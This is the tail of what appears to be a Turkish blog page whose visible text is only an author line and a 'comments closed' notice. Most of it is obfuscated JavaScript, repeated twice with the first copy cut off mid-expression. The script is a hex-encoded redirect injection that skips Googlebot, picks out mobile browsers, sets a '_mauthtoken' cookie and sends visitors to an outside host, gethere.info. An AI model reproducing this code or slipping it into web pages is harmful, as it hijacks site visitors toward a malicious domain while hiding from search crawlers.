)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Hakkında Murat Tuncay

Yoruma kapalı.